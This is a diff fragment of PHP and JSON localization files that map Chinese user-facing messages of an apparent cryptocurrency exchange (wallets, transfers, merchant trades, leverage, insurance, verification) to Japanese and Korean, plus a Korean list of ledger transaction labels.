'请填写购买额' => '購入金額をご記入ください',
|
||||
'购买额请填写数字' => '購入数量をご記入ください',
|
||||
'未完成单子超过3单,请完成后再操作!' => '未完成の注文が3つ以上ありますので、操作する前に完了してください。',
|
||||
'此条交易已完成' => 'この取引は完了しました',
|
||||
'非法提交,数量必须大于0' => '不正な提出、数量は0より大きくなければなりません',
|
||||
'您低于最低限额' => 'あなたは最低額を下回っています',
|
||||
'您高于最高限额' => 'あなたは上限を超えています',
|
||||
'您高于最大限制数量' => 'あなたは上限を超えています',
|
||||
'未找到该商家' => 'ビジネスが見つかりませんでした',
|
||||
'不能操作自己的' => '自分で操作することはできません',
|
||||
'您无此钱包账号' => 'あなたはこのウォレットアカウントを持っていません',
|
||||
'您的钱包已被锁定,请联系管理员' => 'ウォレットがロックされています。管理者に連絡してください',
|
||||
'您的法币余额不足' => '法定通貨の残高が不足しています',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => '法定紙幣の凍結資金が異常です。保留中の注文があるかどうかを確認してください',
|
||||
'您出售数量大于商家剩余数量!' => '販売する数量が販売者の残りの数量よりも多い!',
|
||||
'您购买数量大于商家剩余数量!' => 'あなたの購入数量は商人の残りの数量よりも多いです!',
|
||||
'您不是此币商家' => 'あなたはこの通貨の商人ではありません',
|
||||
'该订单已操作过,请勿重复操作' => '注文は実行中です。操作を繰り返さないでください',
|
||||
'对不起,您无权操作' => '申し訳ありませんが、あなたは操作する権限がありません',
|
||||
'操作成功,请联系卖家确认' => '操作は成功しました、確認するために売り手に連絡してください',
|
||||
'该订单已操作,请勿取消' => '注文は処理されました。キャンセルしないでください',
|
||||
'操作成功,订单已取消' => '操作は成功しました、注文はキャンセルされました',
|
||||
'对不起您不是商家' => '申し訳ありませんが、あなたはビジネスではありません',
|
||||
'对不起,您不是该商家' => '申し訳ありませんが、あなたはビジネスではありません',
|
||||
'该订单还未付款或已经操作过' => '注文が支払われていないか、処理されています',
|
||||
'订单异常' => '注文の例外',
|
||||
'您不能确认该订单' => '注文を確認できません',
|
||||
'该用户没有此币种钱包' => 'ユーザーはこの通貨ウォレットを持っていません',
|
||||
'确认成功' => '成功を確認する',
|
||||
'商家不存在' => 'ストアは存在しません',
|
||||
'已撤回发布' => 'リリースは取り下げられました',
|
||||
'该发布信息下有交易产生无法删除' => '投稿された情報の下で生成された削除できないトランザクションがあります',
|
||||
'撤回成功' => '失効は成功しました',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => '投稿された情報の下に未完了の取引があり、異常としてマークすることはできません',
|
||||
'该发布信息无异常' => '公開されている情報は正常です',
|
||||
'对不起,您的商家账户冻结资金不足' => '申し訳ありませんが、マーチャントアカウントの資金が不足しています',
|
||||
'处理成功' => '正常に処理されました',
|
||||
'该币种不支持购买保险' => 'この通貨は保険の購入をサポートしていません',
|
||||
'错误的金额!' => '金額が間違っています!',
|
||||
'不存在的险种!' => '存在しない保険タイプ!',
|
||||
'不存在的币种!' => '存在しない通貨!',
|
||||
'已经购买了该币种的险种!' => 'この通貨の保険をすでに購入しています!',
|
||||
'可用余额不足,无法购买!' => '利用可能な残高が購入するには不十分です!',
|
||||
'购买成功!' => '購入の成功!',
|
||||
'未找到该保险' => '保険が見つかりませんでした',
|
||||
'该保险正在处理中' => '保険は処理中です',
|
||||
'申请索赔成功!' => '成功した主張!',
|
||||
'超出今日索赔次数!' => '今日のクレーム数を超えています!',
|
||||
'存在未平仓订单' => 'オープンオーダーがあります',
|
||||
'受保资产不符合可申请索赔条件1' => '被保険資産が請求可能な条件を満たしていない1',
|
||||
'受保资产不符合可申请索赔条件2' => '被保険資産が請求可能な条件を満たしていない2',
|
||||
'未知受保金额去向状态' => '不明な保険金額の所在状況',
|
||||
'处理成功!' => '正常に処理されました!',
|
||||
'该保险已失效' => '保険の有効期限が切れています',
|
||||
'该保险正在索赔处理中' => '保険は請求処理中です',
|
||||
'解约失败,存在未平仓订单' => 'キャンセルに失敗しました。未処理の注文があります',
|
||||
'保险解约,赔付金额' => '保険の解約、補償額',
|
||||
'解约成功!' => '正常終了!',
|
||||
'内容不能为空' => 'コンテンツを空白にすることはできません',
|
||||
'暂无数据' => 'データなし',
|
||||
'文件大小超出' => 'ファイルサイズを超えました',
|
||||
'文件类型非法' => '不正なファイルタイプ',
|
||||
'文件类型不对' => 'ファイルの種類が正しくありません',
|
||||
'该文件已存在' => 'ファイルはすでに存在します',
|
||||
'币未找到' => 'コインが見つかりません',
|
||||
'转账账户不存在!' => '転送アカウントが存在しません!',
|
||||
'不能给自己转账!' => '自分に送金できません!',
|
||||
'转账数量大于剩余数量!' => '振込金額が残額より多い!',
|
||||
'余额不足!' => '残高不足です!',
|
||||
'通证转账成功!' => 'パス転送が成功しました!',
|
||||
'请输入支付密码' => '支払いパスワードを入力してください',
|
||||
'无需升级' => 'アップグレードする必要はありません',
|
||||
'暂无钱包' => '財布なし',
|
||||
'升级成功' => '更新に成功しました',
|
||||
'该地址别人已经绑定过了' => 'このアドレスはすでに他の人によってバインドされています',
|
||||
'请把参数填写完整' => 'パラメータを完全に入力してください',
|
||||
'用户已存在' => 'このユーザーは既に存在します',
|
||||
'推荐用户不存在' => '推奨ユーザーが存在しません',
|
||||
'转入账户不能为空' => '転送アカウントは空にすることはできません',
|
||||
'密码不能为空' => 'パスワードを空白にすることはできません',
|
||||
'转入数量不能为空' => '転送された数量を空にすることはできません',
|
||||
'用户密码错误' => 'ユーザーパスワードが間違っています',
|
||||
'转入成功' => '正常に転送されました',
|
||||
'密码修改成功' => 'パスワードのリセットが完了しました',
|
||||
'请输入正确的交易数量或价格' => '正しい取引数量または価格を入力してください',
|
||||
'用户钱包不存在' => 'ユーザーウォレットが存在しません',
|
||||
'用户不存在' => 'ユーザーは存在しません',
|
||||
'未找到该发布用户' => '投稿ユーザーが見つかりませんでした',
|
||||
'检测有未完成交易,请完成后再来!' => '未完了の取引がないか確認してください。完了後に戻ってきてください。',
|
||||
'您的余额不足' => 'あなたのバランスが不十分です',
|
||||
'用户信息不正确' => 'ユーザー情報が正しくありません',
|
||||
'对不起,这不是您的发布信息' => '申し訳ありませんが、これはあなたの投稿ではありません',
|
||||
'对不起,您无权撤销此记录' => '申し訳ありませんが、あなたにはこの記録を取り消す権利がありません',
|
||||
'对不起,您的账户冻结资金不足' => '申し訳ありませんが、アカウントに凍結された資金が不足しています',
|
||||
'取消次数已超出' => 'キャンセル数を超えました',
|
||||
'次,明天再发布' => '数量、明日リリース',
|
||||
',错误位于第' => ',エラーは',
|
||||
'行' => '行',
|
||||
'您今天的取消次数已超出' => '今日のキャンセル数が超過しました',
|
||||
'次' => '量',
|
||||
'在 ' => '存在 ',
|
||||
'购买法币成功,增加法币余额' => '法定通貨の購入に成功し、法定通貨の残高を増やします',
|
||||
'转账数量不能小于' => '振込金額は以下になりません',
|
||||
'转账数量不能大于' => '送金金額を超えることはできません',
|
||||
'解约失败:' => 'キャンセルに失敗しました:',
|
||||
'操作成功,请联系商家确认订单' => '実行は成功しました。注文を確認するために販売者に連絡してください',
|
||||
'您还没有通过实名认证' => '実名認証に合格していません',
|
||||
'您还没有设置收款信息' => '支払い情報を設定していません',
|
||||
'撤单失败:' => 'キャンセルに失敗しました:',
|
||||
'扣除保证金失败:' => '証拠金の控除に失敗しました:',
|
||||
'扣除手续费失败:' => '手数料の控除に失敗しました:',
|
||||
'手数不能低于' => 'ハンドの数は以下にすることはできません',
|
||||
'手数不能高于' => 'ハンドの数はこれより多くすることはできません',
|
||||
'余额不足,不能小于' => '不十分なバランス、以下にすることはできません',
|
||||
'(手续费:' => '(手数料:',
|
||||
'此法币' => 'この法定通貨',
|
||||
'商家名称已存在' => ',商家名称已存在',
|
||||
'请实名认证' => '実名で認証してください',
|
||||
'项目不存在' => 'アイテムが存在しません',
|
||||
'最少存入数量为:' => '最低入金額は:',
|
||||
'当前等级禁止购买30S产品,请联系客服升级' => '現在のレベルでは30S製品の購入は禁止されています。アップグレードするには、カスタマーサービスにお問い合わせください',
|
||||
'请登录' => 'サインインしてください',
|
||||
'毁约成功' => '契約を無事に破った',
|
||||
'旧密码错误' => '古いパスワードエラー',
|
||||
'您的实名认证未通过' => '実名認証に失敗しました',
|
||||
'下单数量必须是整数' => '注文数量は整数である必要があります',
|
||||
'下单数量必须是' => '注文数量は:micro_min の整数倍',
|
||||
'最大下单数量不能超过' => '注文の最大数は超えることはできません: :micro_max',
|
||||
'最小下单数量不能小于' => '最小注文数量は、: :micro_min',
|
||||
'申请成功' => '成功したアプリケーション',
|
||||
'认证成功,请等待审核' => '正常に送信されました。審査をお待ちください',
|
||||
'操作失败:您的信用分不足' => '操作に失敗しました: クレジット スコアが不十分です :source',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => '操作に失敗しました: 開いているトランザクションがあります。操作は禁止されています',
|
||||
'支付通道维护,请更换支付方式' => '支払いチャネルのメンテナンス、支払い方法を変更してください',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "こんにちは、あなたのアカウントはロックされています。詳細については、カスタマー サービスにお問い合わせください。",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "こんにちは、あなたの資金はロックされています。詳細については、カスタマー サービスにお問い合わせください。",
|
||||
);
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "최소 주문 수량은 다음보다 작을 수 없습니다. :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
'is_lock' => '계정 잠금',
|
||||
'unknown' => '알 수 없는 유형',
|
||||
'1' => '펀드 계좌 잔고 백스테이지 조정',
|
||||
'2' => '백스테이지 조정 자금 계정 잠금 잔액',
|
||||
'3' => '통화 계정 잔액의 백스테이지 조정',
|
||||
'4' => '백스테이지 조정 통화 계정',
|
||||
'5' => '백그라운드 조정 계약 계정 잔액',
|
||||
'6' => '백그라운드 조정 계약 계정',
|
||||
'7' => '백그라운드 조정 옵션 계정 잔액',
|
||||
'8' => '백스테이지 조정 옵션 계정',
|
||||
'9' => '펀드 계좌가 거래 계좌에서 이체됨',
|
||||
'10' => '거래 계정에서 자본 계정으로',
|
||||
'11' => '자금 송금',
|
||||
'12' => '자금 송금',
|
||||
'13' => '계약 계좌에서 거래 계좌로 이체',
|
||||
'14' => '계약 계좌에서 거래 계좌로 이체',
|
||||
'15' => '거래 계정에서 계약 계정으로',
|
||||
'16' => '거래 계좌에서 계약 계좌 이체',
|
||||
'33' => '수수료 반환 초대',
|
||||
'99' => '사용자 탈퇴',
|
||||
'102' => '구매 거래 취소',
|
||||
'103' => '판매 거래 취소',
|
||||
'65' => '이체된 자금의 거래 잔액',
|
||||
'66' => '통화 거래의 거래 잔액',
|
||||
'67' => '계약 거래 잔액 이체',
|
||||
'206' => '계약으로 이체하고 자금을 줄인다',
|
||||
'207' => '계약금으로 자금 이체, 계약 증액',
|
||||
'208' => '계약 자금 이체 승인, 계약 축소',
|
||||
'209' => '계약 자금 이체 승인, 유상증자',
|
||||
'210' => '계약 이체 자금, 계약 전환 가치 동결',
|
||||
'211' => '계약 이체 자금, 검토 동결 해제 실패',
|
||||
'107' => 'USDT로 토큰 교환',
|
||||
'37' => '토큰 교환, 계약 통화 증가',
|
||||
'212' => '과거 손익계산서, 계약통화 인상',
|
||||
'105' => '보상 토큰',
|
||||
'106' => '디지털 화폐 보상',
|
||||
'108' => '패스 조정',
|
||||
'38' => '판매자 신청하여 USDT 차감',
|
||||
'39' => '자산 교환, 보유 통화 자금 축소',
|
||||
'40' => '자산 교환, USDT 자금 증가',
|
||||
'41' => 'BOSS 활성화',
|
||||
'42' => '잠긴 채굴',
|
||||
'43' => 'BOSS 계정에서 잔액 이체',
|
||||
'44' => '락업 리턴',
|
||||
'45' => '디파이 펀드 기록',
|
||||
'51' => '코인 거래',
|
||||
'50' => '코인 거래 동결',
|
||||
'100' => '출금 성공',
|
||||
'101' => '출금 실패',
|
||||
'700' => 'IEO 주문',
|
||||
'701' => '코인 송금 증가',
|
||||
'702' => '코인 송금 감소',
|
||||
'703' => '코인 송금 수수료',
|
||||
'704' => '잠긴 채굴',
|
||||
'705' => '채굴 수입',
|
||||
'706' => '주문 수는 이보다 작을 수 없습니다',
|
||||
'1000' => '이중 통화 자산 관리 구매',
|
||||
'1001' => '이중통화 금융결제',
|
||||
'707' => '구매 후 - 차감 마진',
|
||||
'708' => '구매 팔로우 - 수수료 차감',
|
||||
'1002' => 'NFT 구매',
|
||||
'1003' => '경매에서 보증금 공제',
|
||||
'1005' => 'NFT 경매주문 결제',
|
||||
'1004' => '입찰 환불 보증금',
|
||||
'32' => '브레이크아웃 정지',
|
||||
'35' => '거래 수수료',
|
||||
'30' => '계약 거래에서 마진 차감',
|
||||
];
|
||||
@@ -0,0 +1,330 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
|
||||
'退出登录成功' => '성공적으로 로그아웃',
|
||||
'电话不能为空' => '전화번호는 비워둘 수 없습니다',
|
||||
'账号已存在' => '계정이 이미 존재합니다',
|
||||
'两次密码不一致' => '두 암호가 일치하지 않습니다',
|
||||
'用户未找到' => '사용자를 찾을 수 없음',
|
||||
'钱包已添加,请勿重复添加' => '지갑이 추가되었습니다. 반복적으로 추가하지 마십시오.',
|
||||
'添加成功' => '성공적으로 추가됨',
|
||||
'参数错误:(' => '매개변수 오류:(',
|
||||
'支付密码错误' => '잘못된 결제 비밀번호',
|
||||
'余额不足' => '잔액 불충분',
|
||||
'转账至交易所钱包' => '거래소 지갑으로 자금 이체',
|
||||
'转账成功' => '성공적인 자금 이체',
|
||||
'找不到用户' => '사용자를 찾을 수 없음',
|
||||
'用户钱包未找到' => '사용자 지갑을 찾을 수 없습니다',
|
||||
'接收来自交易所的转账' => '거래소에서 송금 받기',
|
||||
'您还没有钱包' => '당신은 지갑이 없습니다',
|
||||
'请输入正确的值' => '정확한 값을 입력하세요',
|
||||
'地址输入有误' => '주소가 잘못 입력되었습니다',
|
||||
'地址输入有误1' => '주소가 잘못 입력되었습니다 1',
|
||||
'不能转账给自己' => '나 자신에게 돈을 이체할 수 없다',
|
||||
'暂时还没有添加币种' => '아직 추가된 통화가 없습니다',
|
||||
'此币种不存在' => '이 통화는 존재하지 않습니다',
|
||||
'已经有此提币地址' => '이 출금 주소가 이미 있습니다',
|
||||
'添加提币地址成功' => '출금주소 추가 성공',
|
||||
'此提币地址不存在' => '이 출금 주소가 존재하지 않습니다',
|
||||
'您没有权限删除此地址' => '이 주소를 삭제할 권한이 없습니다.',
|
||||
'删除提币地址成功' => '출금 주소 삭제 성공',
|
||||
'输入的金额不能为负数' => '입력한 금액은 음수일 수 없습니다',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => '현재 진행 중인 레버리지 거래가 있으며 이 작업을 수행할 수 없습니다',
|
||||
'钱包不存在' => '지갑이 존재하지 않습니다',
|
||||
'划转成功' => '성공적인 전송',
|
||||
'币种不存在' => '통화가 존재하지 않습니다',
|
||||
'您还没有添加提币地址' => '출금 주소를 추가하지 않았습니다',
|
||||
'数量不能少于最小值' => '수량은 최소값보다 작을 수 없습니다',
|
||||
'提币申请已成功,等待审核' => '출금 신청이 완료되었으며 검토 대기 중입니다',
|
||||
'类型错误' => '유형 오류',
|
||||
'钱包未找到' => '지갑을 찾을 수 없음',
|
||||
'数量不能小于等于0' => '수량은 0보다 작거나 같을 수 없습니다',
|
||||
'价格不能小于等于0' => '가격은 0보다 작거나 같을 수 없습니다',
|
||||
'参数错误哦' => '매개변수 오류',
|
||||
'数量不足' => '수량 부족',
|
||||
'操作成功' => '성공적으로 작동',
|
||||
'真实姓名必须填写' => '실명을 입력해야 합니다',
|
||||
'收款信息至少选填一项' => '결제 정보를 하나 이상 입력하세요',
|
||||
'保存成功' => '성공적으로 저장 되었음',
|
||||
'密码错误' => '잘못된 비밀번호',
|
||||
'当前行情小于等于零!' => '현재 시장은 0보다 작거나 같습니다!',
|
||||
'参数错误!' => '매개변수 오류!',
|
||||
'兑换数量大于持有资产!' => '보유자산보다 교환금액이 큽니다!',
|
||||
'资产兑换成功!' => '자산 교환 성공!',
|
||||
'兑换数量大于剩余数量!' => '교환수량이 잔여수량보다 많습니다!',
|
||||
'通证兑换成功!' => '토큰 교환 성공!',
|
||||
'必填项信息不完整' => '필수 정보가 불완전합니다',
|
||||
'两次输入密码不一致' => '두 암호가 일치하지 않습니다',
|
||||
'此用户不存在' => '이 사용자는 존재하지 않습니다',
|
||||
'此交易账号已经设置' => '이 거래 계정이 설정되었습니다',
|
||||
'此账号已经存在' => '이 계정은 이미 존재합니다',
|
||||
'交易账号设置成功' => '거래 계정이 성공적으로 설정되었습니다',
|
||||
'验证码错误' => '인증 코드 오류',
|
||||
'手机绑定成功' => '휴대폰 바인딩 성공',
|
||||
'邮箱绑定成功' => '사서함 바인딩 성공',
|
||||
'手势密码至少连接6个点' => '제스처 비밀번호에 6개 이상의 포인트가 연결되어야 합니다',
|
||||
'两次手势密码不相同' => '두 제스처 비밀번호가 같지 않습니다',
|
||||
'手势密码添加成功' => '제스처 비밀번호가 성공적으로 추가되었습니다',
|
||||
'取消手势密码成功' => '제스처 암호를 성공적으로 취소',
|
||||
'密码只能在6-16位之间' => '비밀번호는 6~16자리만 가능합니다',
|
||||
'交易密码设置成功' => '거래 비밀번호가 성공적으로 설정되었습니다',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => '아직 초대 순위표가 없습니다. 가서 초대하세요',
|
||||
'会员未找到' => '회원을 찾을 수 없음',
|
||||
'你已绑定,不可更改!' => '당신은 묶여 있으며 변경할 수 없습니다!',
|
||||
'该地址已被绑定,请重新输入' => '주소가 바인딩되었습니다. 다시 입력하세요.',
|
||||
'绑定成功!' => '바인딩 성공!',
|
||||
'请提交完整的信息' => '완전한 정보를 제출하십시오',
|
||||
'请输入合法的身份证号码' => '법적 ID 번호를 입력하세요',
|
||||
'该身份证号已实名认证过!' => '주민등록번호는 실명으로 확인되었습니다!',
|
||||
'您已经申请过了' => '이미 신청하셨습니다',
|
||||
'提交成功,等待审核' => '성공적으로 제출되었으며 검토 대기 중',
|
||||
'您还没有交易记录' => '거래 기록이 없습니다',
|
||||
'非法操作,不能撤回非自己发布的信息' => '불법 운영, 본인이 게시하지 않은 정보는 철회 불가',
|
||||
'非法操作' => '불법 작업',
|
||||
'取销卖出交易失败' => '판매 거래 취소 실패',
|
||||
'取消成功' => '취소 성공',
|
||||
//'非法操作' => '위반행위',
|
||||
'数据未找到' => '데이터를 찾을 수 없음',
|
||||
'请先添加钱包' => '먼저 지갑을 추가해주세요',
|
||||
'价格和数量必须大于0' => '가격과 수량은 0보다 커야 합니다',
|
||||
'您的币不足' => '동전이 부족합니다',
|
||||
'您的冻结资金异常,禁止挂卖' => '동결된 자금이 비정상적이며 판매가 금지되어 있습니다',
|
||||
'你今天的交易额度已达到上限!' => '오늘 거래 한도가 상한선에 도달했습니다!',
|
||||
'系统配置错误,请联系系统管理员' => '시스템 구성 오류입니다. 시스템 관리자에게 문의하십시오',
|
||||
'手机号不能为空' => '전화번호는 비워둘 수 없습니다',
|
||||
'发送成功' => '성공적으로 보냈습니다',
|
||||
'账号错误' => '계정 오류',
|
||||
'请填写手机号' => '전화번호를 기입해주세요',
|
||||
'参数不全' => '불완전한 매개변수',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => '서버 공간이 지원되지 않습니다. curl 또는 fsocket이 지원되는지 확인하고 공간 제공업체에 문의하여 공간을 해결하거나 교체하세요!',
|
||||
'帐户已过期' => '계정 만료됨',
|
||||
'IP地址限制' => 'IP 주소 제한',
|
||||
'账号被禁用' => '계정이 비활성화되었습니다',
|
||||
'内容含有敏感词' => '콘텐츠에 민감한 단어가 포함되어 있습니다',
|
||||
'ip参数不正确' => 'ip 매개변수가 올바르지 않습니다',
|
||||
'邮箱不能为空' => '이메일은 비워둘 수 없습니다',
|
||||
'操作错误' => '실행 오류',
|
||||
'无此币种' => '해당 통화가 없습니다',
|
||||
'该币不是法币' => '통화는 법정 통화가 아닙니다',
|
||||
'用户名不能为空' => '사용자 이름은 비워둘 수 없습니다',
|
||||
'名称不能为空' => '이름은 필수 항목입니다',
|
||||
'资产不能为空' => '자산은 비워둘 수 없습니다',
|
||||
'找不到此交易账号的用户' => '이 거래 계정을 가진 사용자를 찾을 수 없습니다',
|
||||
'此用户还未通过实名认证' => '이 사용자는 실명인증을 통과하지 못했습니다',
|
||||
'此用户已是此法币商家' => '이 사용자는 이미 이 법정화폐의 판매자입니다',
|
||||
'新闻不存在' => '뉴스가 존재하지 않습니다',
|
||||
'下单失败:超过最大持仓笔数限制' => '주문 실패: 최대 포지션 수 한도 초과',
|
||||
'当前未获取到行情' => '현재 사용할 수 없는 시장',
|
||||
'尚未申购或理赔保险' => '구매 또는 청구 보험을 신청하지 않았습니다.',
|
||||
'申购的保险T+1生效' => '구매한 보험 T+1이 적용됩니다.',
|
||||
'受保资产为零' => '보험 자산 제로',
|
||||
'受保资产小于等于可下单条件' => '피보험 자산이 주문을 할 수 있는 조건보다 작거나 같습니다.',
|
||||
'您已超过持仓限制,暂停下单。' => '포지션 한도를 초과하여 주문이 일시 중단되었습니다.',
|
||||
'未知的险种类型' => '알 수 없는 보험 유형',
|
||||
'超过最大持仓数量限制' => '최대 포지션 수 한도 초과',
|
||||
'交易中的订单大于最大挂单数量' => '트랜잭션의 주문이 최대 보류 주문 수보다 큽니다',
|
||||
'请输入账号' => '사용자 이름을 입력하십시오',
|
||||
'请输入密码' => '비밀번호를 입력해주세요',
|
||||
'手势密码错误' => '제스처 비밀번호 오류',
|
||||
'请填写正确的邀请码' => '올바른 초대 코드를 입력하세요',
|
||||
'注册成功' => '등록 성공',
|
||||
'请输入密码或确认密码' => '비밀번호를 입력하거나 비밀번호를 확인해주세요',
|
||||
'输入两次密码不一致' => '두 암호가 일치하지 않습니다',
|
||||
'账号不存在' => '두 암호가 일치하지 않습니다',
|
||||
'验证码不正确' => '잘못된 인증 코드',
|
||||
'修改密码成功' => '성공적으로 비밀번호 변경',
|
||||
'请输入验证码' => '인증 코드를 입력하십시오',
|
||||
'验证成功' => '성공적으로 확인됨',
|
||||
'父级不存在' => '사용자가 존재하지 않습니다',
|
||||
'请重试' => '다시 시도하십시오',
|
||||
//'参数错误:('=>'매개변수 오류:(',
|
||||
'缺少参数或传值错误' => '누락된 매개변수 또는 잘못된 값',
|
||||
'指定交易对不存在' => '지정한 거래쌍이 존재하지 않습니다',
|
||||
'您未开通本交易对的交易功能' => '이 거래 쌍의 거래 기능을 활성화하지 않았습니다',
|
||||
'手数必须是大于0的整数' => '로트 크기는 0보다 큰 정수여야 합니다',
|
||||
'选择倍数不在系统范围' => '선택 배수가 시스템 범위에 없습니다',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => '청산 중이며 일시적으로 거래할 수 없는 거래가 있습니다',
|
||||
'交易类型错误' => '잘못된 거래 유형',
|
||||
'该功能暂未开放' => '이 기능은 아직 열려 있지 않습니다',
|
||||
'限价交易价格必须大于0' => '제한 거래 가격은 0보다 커야 합니다',
|
||||
'当前没有获取到行情价格,请稍后重试' => '현재 시장 가격을 알 수 없습니다. 나중에 다시 시도해 주세요',
|
||||
'限价交易卖出不能低于当前价' => '리미트 거래는 현재 가격 이하로 판매할 수 없습니다',
|
||||
'限价交易买入价格不能高于当前价' => '제한 거래의 구매 가격은 현재 가격보다 높을 수 없습니다',
|
||||
'钱包未找到,请先添加钱包' => '지갑을 찾을 수 없습니다. 먼저 지갑을 추가하세요',
|
||||
'提交失败' => '제출 실패',
|
||||
'提交成功' => '성공적으로 제출됨',
|
||||
'此功能系统未开放' => '이 기능 시스템은 열려 있지 않습니다',
|
||||
'止盈止损价格不能为0' => '손절매 및 손절매 가격은 0일 수 없습니다',
|
||||
'找不到该笔交易' => '거래를 찾을 수 없습니다',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => '매수(롱) 테이크 이익 가격은 시가와 현재 가격보다 낮을 수 없습니다',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => '매수(장기) 손절매 가격은 시작 가격과 현재 가격보다 높을 수 없습니다',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => '매도(공매도) 이익실현 가격은 시가와 현재 가격보다 높을 수 없습니다',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => '매도(공매도) 손절매 가격은 시작 가격과 현재 가격보다 낮을 수 없습니다',
|
||||
'设置成功' => '성공적으로 설정',
|
||||
'设置失败' => '설정 실패',
|
||||
'无权操作' => '실행할 권리 없음',
|
||||
'交易状态异常,请勿重复提交' => '거래 상태가 비정상입니다. 반복적으로 제출하지 마십시오',
|
||||
'平仓失败,请重试' => '포지션을 청산하지 못했습니다. 다시 시도하십시오.',
|
||||
'买入方向传参错误' => '구매 방향으로 잘못된 매개변수 전달',
|
||||
'提交成功,请等待系统处理' => '제출이 완료되었습니다. 시스템이 처리될 때까지 기다리십시오',
|
||||
'未找到需要平仓的交易' => '마감해야 하는 거래를 찾을 수 없습니다.',
|
||||
'交易不存在或已撤单,请刷新后重试' => '거래가 존재하지 않거나 주문이 취소되었습니다. 새로고침하고 다시 시도하십시오',
|
||||
'撤单失败:用户钱包不存在' => '주문 취소 실패: 사용자 지갑이 존재하지 않습니다',
|
||||
'撤单失败:变更状态失败' => '주문 취소 실패: 상태 변경 실패',
|
||||
'撤单成功' => '취소 성공',
|
||||
'订单取消成功' => '주문이 성공적으로 취소되었습니다',
|
||||
'请选择需求类型' => '요구 사항 유형을 선택하십시오',
|
||||
'请选择交易方式' => '거래 방법을 선택하세요',
|
||||
'请填写单价' => '단가를 기입해주세요',
|
||||
'请填写数量' => '수량을 기입해주세요',
|
||||
'请填写最小交易数量' => '최소 거래 수량을 입력하세요',
|
||||
'请选择币种' => '통화를 선택하세요',
|
||||
'最小交易数量不能大于总数量' => '최소 거래 수량은 총 수량보다 클 수 없습니다',
|
||||
'请填写最大交易量' => '최대 거래량을 입력하세요',
|
||||
'请填写正确的最大交易量' => '올바른 최대 거래량을 입력하세요',
|
||||
'对不起,您不是该法币的商家' => '죄송합니다. 귀하는 법정 화폐의 판매자가 아닙니다',
|
||||
'对不起,您的商家账户不足' => '죄송합니다. 귀하의 판매자 계정이 충분하지 않습니다.',
|
||||
'发布成功' => '성공',
|
||||
'无此商家' => '그런 가게 없음',
|
||||
'参数错误2' => '매개변수 오류 2',
|
||||
'无此记录' => '해당 기록 없음',
|
||||
'购买参数错误' => '구매 매개변수 오류',
|
||||
'请填写购买额' => '구매금액을 기입해주세요',
|
||||
'购买额请填写数字' => '구매금액의 숫자를 입력해주세요',
|
||||
'未完成单子超过3单,请完成后再操作!' => '완료되지 않은 주문이 3개 이상 있습니다. 계속하기 전에 완료하십시오!',
|
||||
'此条交易已完成' => '이 거래가 완료되었습니다',
|
||||
'非法提交,数量必须大于0' => '제출이 잘못되었습니다. 수량은 0보다 커야 합니다',
|
||||
'您低于最低限额' => '당신은 최소 미만입니다',
|
||||
'您高于最高限额' => '당신은 최대 한도를 초과했습니다',
|
||||
'您高于最大限制数量' => '당신은 최대 한도를 초과했습니다',
|
||||
'未找到该商家' => '업체를 찾을 수 없습니다',
|
||||
'不能操作自己的' => '자체적으로 운영할 수 없음',
|
||||
'您无此钱包账号' => '당신은 이 지갑 계정이 없습니다',
|
||||
'您的钱包已被锁定,请联系管理员' => '지갑이 잠겨 있습니다. 관리자에게 문의하십시오',
|
||||
'您的法币余额不足' => '법정 통화 잔액이 충분하지 않습니다',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => '귀하의 법정화폐 동결 자금이 비정상적입니다. 보류 중인 주문이 있는지 확인하십시오',
|
||||
'您出售数量大于商家剩余数量!' => '판매 수량은 판매자의 남은 수량보다 많습니다!',
|
||||
'您购买数量大于商家剩余数量!' => '귀하의 구매 수량이 판매자의 잔여 수량보다 많습니다!',
|
||||
'您不是此币商家' => '당신은 이 통화의 판매자가 아닙니다',
|
||||
'该订单已操作过,请勿重复操作' => '주문이 이미 실행되었습니다. 작업을 반복하지 마십시오',
|
||||
'对不起,您无权操作' => '죄송합니다, 당신은 작동 권한이 없습니다',
|
||||
'操作成功,请联系卖家确认' => '작업이 성공적으로 완료되었습니다. 판매자에게 문의하여 확인하세요',
|
||||
'该订单已操作,请勿取消' => '주문이 처리되었습니다, 취소하지 마세요',
|
||||
'操作成功,订单已取消' => '작업이 성공했으며 주문이 취소되었습니다',
|
||||
'对不起您不是商家' => '죄송합니다, 당신은 비즈니스가 아닙니다',
|
||||
'对不起,您不是该商家' => '죄송합니다, 당신은 비즈니스가 아닙니다',
|
||||
'该订单还未付款或已经操作过' => '주문이 결제되지 않았거나 처리되었습니다',
|
||||
'订单异常' => '주문 예외',
|
||||
'您不能确认该订单' => '주문을 확인할 수 없습니다',
|
||||
'该用户没有此币种钱包' => '사용자는 이 통화 지갑을 가지고 있지 않습니다',
|
||||
'确认成功' => '확인 성공',
|
||||
'商家不存在' => '상점이 존재하지 않습니다',
|
||||
'已撤回发布' => '릴리스가 취소되었습니다',
|
||||
'该发布信息下有交易产生无法删除' => '게시된 정보 아래에 트랜잭션이 생성되어 삭제할 수 없습니다',
|
||||
'撤回成功' => '취소 성공',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => '게시된 정보 아래에 완료되지 않은 거래가 있으며 비정상으로 표시할 수 없습니다',
|
||||
'该发布信息无异常' => '공개된 정보는 정상입니다',
|
||||
'对不起,您的商家账户冻结资金不足' => '죄송합니다. 귀하의 판매자 계정에 동결된 자금이 충분하지 않습니다',
|
||||
'处理成功' => '성공적으로 처리됨',
|
||||
